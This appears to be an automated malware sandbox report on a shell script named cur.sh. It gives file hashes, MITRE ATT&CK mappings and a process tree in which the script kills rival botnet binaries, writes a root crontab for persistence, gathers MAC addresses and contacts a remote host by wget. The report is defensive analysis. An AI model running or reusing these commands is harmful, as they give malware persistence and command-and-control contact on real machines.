2d3dcbeffb68ab8d4f0ada8a907d435852c7d2c8a19feed18441274c2f7b9648

Analysis

max time kernel
2s
max time network
4s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02/10/2026, 18:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
cur.sh
Size 7KB
Sample261002-xmmsgax15j
SHA256 2d3dcbeffb68ab8d4f0ada8a907d435852c7d2c8a19feed18441274c2f7b9648
MD5 300d70c24a3f36848f7f9e212e5eaa8b
SHA1 88371cf3312027c78eb17715f398daad045a3bfb
SHA512 b13689a0a6ac68f7d05f672fb321d4f1571959844b342f62326ee87ff16119224128b10a8fa80576d820987c5c273a5b5d65d71b8cfe10766d855c417e75d421
SSDEEP 96:tbAfL58OZyrQH/Wg6PI6NVpmpEckSCBzIprU9xrLrqDN1SjaGBjA5eZj33PMjH:NyV8OZB1T6NHSCkUL3q3BuPi
TLSH
T1BEF13FF9F620C635B80DC63DF659A5928E83987F06B87B60B44BEC28361C54C712E676
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

discovery execution persistence privilege_escalation

Malware Config

Signatures

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/root	cur.sh

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/297/stat	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/28/stat	killall
File opened for reading	/proc/9/stat	killall
File opened for reading	/proc/627/stat	killall
File opened for reading	/proc/109/stat	killall
File opened for reading	/proc/569/stat	killall
File opened for reading	/proc/169/stat	killall
File opened for reading	/proc/312/stat	killall
File opened for reading	/proc/583/stat	killall
File opened for reading	/proc/12/stat	killall
File opened for reading	/proc/25/stat	killall
File opened for reading	/proc/29/stat	killall
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/627/stat	killall
File opened for reading	/proc/17/stat	killall
File opened for reading	/proc/584/stat	killall
File opened for reading	/proc/159/stat	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/322/stat	killall
File opened for reading	/proc/7/stat	killall
File opened for reading	/proc/8/stat	killall
File opened for reading	/proc/109/cmdline	killall
File opened for reading	/proc/643/cmdline	killall
File opened for reading	/proc/2/stat	killall
File opened for reading	/proc/282/stat	killall
File opened for reading	/proc/282/stat	killall
File opened for reading	/proc/643/cmdline	killall
File opened for reading	/proc/636/stat	killall
File opened for reading	/proc/21/stat	killall
File opened for reading	/proc/636/stat	killall
File opened for reading	/proc/5/stat	killall
File opened for reading	/proc/25/stat	killall
File opened for reading	/proc/25/stat	killall
File opened for reading	/proc/108/stat	killall
File opened for reading	/proc/671/stat	killall
File opened for reading	/proc/22/stat	killall
File opened for reading	/proc/5/stat	killall
File opened for reading	/proc/filesystems	killall
File opened for reading	/proc/106/stat	killall
File opened for reading	/proc/42/stat	killall
File opened for reading	/proc/634/stat	killall
File opened for reading	/proc/665/stat	killall
File opened for reading	/proc/43/stat	killall
File opened for reading	/proc/28/stat	killall
File opened for reading	/proc/627/stat	killall
File opened for reading	/proc/18/stat	killall
File opened for reading	/proc/108/stat	killall
File opened for reading	/proc/25/stat	killall
File opened for reading	/proc/169/stat	killall
File opened for reading	/proc/7/stat	killall
File opened for reading	/proc/28/stat	killall
File opened for reading	/proc/17/stat	killall
File opened for reading	/proc/584/stat	killall
File opened for reading	/proc/322/stat	killall
File opened for reading	/proc/4/stat	killall
File opened for reading	/proc/207/stat	killall
File opened for reading	/proc/41/stat	killall
File opened for reading	/proc/98/stat	killall
File opened for reading	/proc/5/stat	killall
File opened for reading	/proc/556/stat	killall
File opened for reading	/proc/8/stat	killall
File opened for reading	/proc/7/stat	killall
File opened for reading	/proc/627/stat	killall

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
658	killall
681	killall
697	ip

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.xmN	touch

/tmp/cur.sh
/tmp/cur.sh
1⤵
- Creates/modifies Cron job
PID:637
- /usr/bin/tr
  tr -cd 0-9
  2⤵
  PID:641
- /usr/bin/wc
  wc -c
  2⤵
  PID:640
- /usr/bin/killall
  killall -9 robben
  2⤵
  - Reads runtime system information
  PID:644
- /usr/bin/killall
  killall -9 net.x86
  2⤵
  - Reads runtime system information
  PID:651
- /usr/bin/killall
  killall -9 net.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:658
- /usr/bin/killall
  killall -9 net.arm
  2⤵
  - Reads runtime system information
  PID:663
- /usr/bin/killall
  killall -9 net.arm5
  2⤵
  - Reads runtime system information
  PID:664
- /usr/bin/killall
  killall -9 net.arm6
  2⤵
  - Reads runtime system information
  PID:667
- /usr/bin/killall
  killall -9 net.arm7
  2⤵
  - Reads runtime system information
  PID:669
- /usr/bin/killall
  killall -9 net.mpsl
  2⤵
  - Reads runtime system information
  PID:672
- /usr/bin/killall
  killall -9 net.ppc
  2⤵
  - Reads runtime system information
  PID:674
- /usr/bin/killall
  killall -9 net.m68k
  2⤵
  - Reads runtime system information
  PID:675
- /usr/bin/killall
  killall -9 net.sh4
  2⤵
  - Reads runtime system information
  PID:676
- /usr/bin/killall
  killall -9 net.i486
  2⤵
  - Reads runtime system information
  PID:677
- /usr/bin/killall
  killall -9 net.i686
  2⤵
  - Reads runtime system information
  PID:679
- /usr/bin/killall
  killall -9 px86
  2⤵
  - Reads runtime system information
  PID:680
- /usr/bin/killall
  killall -9 pmips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:681
- /usr/bin/killall
  killall -9 parm
  2⤵
  - Reads runtime system information
  PID:682
- /usr/bin/killall
  killall -9 hajime
  2⤵
  - Reads runtime system information
  PID:683
- /usr/bin/killall
  killall -9 sora
  2⤵
  - Reads runtime system information
  PID:684
- /usr/sbin/cron
  /usr/sbin/cron
  2⤵
  PID:685
- /usr/bin/cron
  /usr/bin/cron
  2⤵
  PID:686
- /usr/bin/killall
  killall -1 crond
  2⤵
  - Reads runtime system information
  PID:687
- /usr/bin/killall
  killall -1 cron
  2⤵
  - Reads runtime system information
  PID:688
- /usr/bin/touch
  touch /tmp/.xmN
  2⤵
  - Writes file to tmp directory
  PID:689
- /bin/grep
  grep -oE "([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}"
  2⤵
  PID:693
- /usr/bin/tr
  tr -d :
  2⤵
  PID:695
- /bin/grep
  grep -iE "hwaddr|ether"
  2⤵
  PID:692
- /usr/bin/head
  head -1
  2⤵
  PID:694
- /bin/grep
  grep -iE link/ether
  2⤵
  PID:698
- /sbin/ip
  ip addr show
  2⤵
  - System Network Configuration Discovery
  PID:697
- /bin/grep
  grep -oE "([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}"
  2⤵
  PID:699
- /usr/bin/tr
  tr -d :
  2⤵
  PID:701
- /usr/bin/head
  head -1
  2⤵
  PID:700
- /usr/bin/wget
  wget -q -O - http://94.154.43.203:8080/lease-xm6a031b5a93a4
  2⤵
  PID:702
- /bin/cat
  cat /tmp/.xmver
  2⤵
  PID:703
- /usr/bin/killall
  killall -9 xm
  2⤵
  - Reads runtime system information
  PID:704
- /usr/bin/killall
  killall -9 .sd
  2⤵
  - Reads runtime system information
  PID:705
- /bin/rm
  rm -f /tmp/.xmN
  2⤵
  PID:706

/usr/bin/wget
wget -q -O /dev/null http://94.154.43.203:8080/skip-xm6a031b5a93a4-v20
1⤵
PID:707

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

root

Path /var/spool/cron/crontabs/root
Size 88B
SHA256 daa55b680d452f0bde4dfb4433d4ae26395e58bdf8dba0a8925d94a447936a7d
MD5 1faecacdff4e77aa696e38941020dcd6
SHA1 0fbb6db7b532a15fb42aebdf2416c0869882cf4f
SHA512 a4deba406ae0a6b1d38ec60877f4a1d76e9ee527b9baa5e76fc00c9bb566163b1666f47d11870a867e7b1233e295a5e004215a7460dc18e148f6a02602d6c0dc
TLSH
T1AFB012E016001A300141D2243212A8A06107E0C0051309B9546E0C04285D713B614540
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads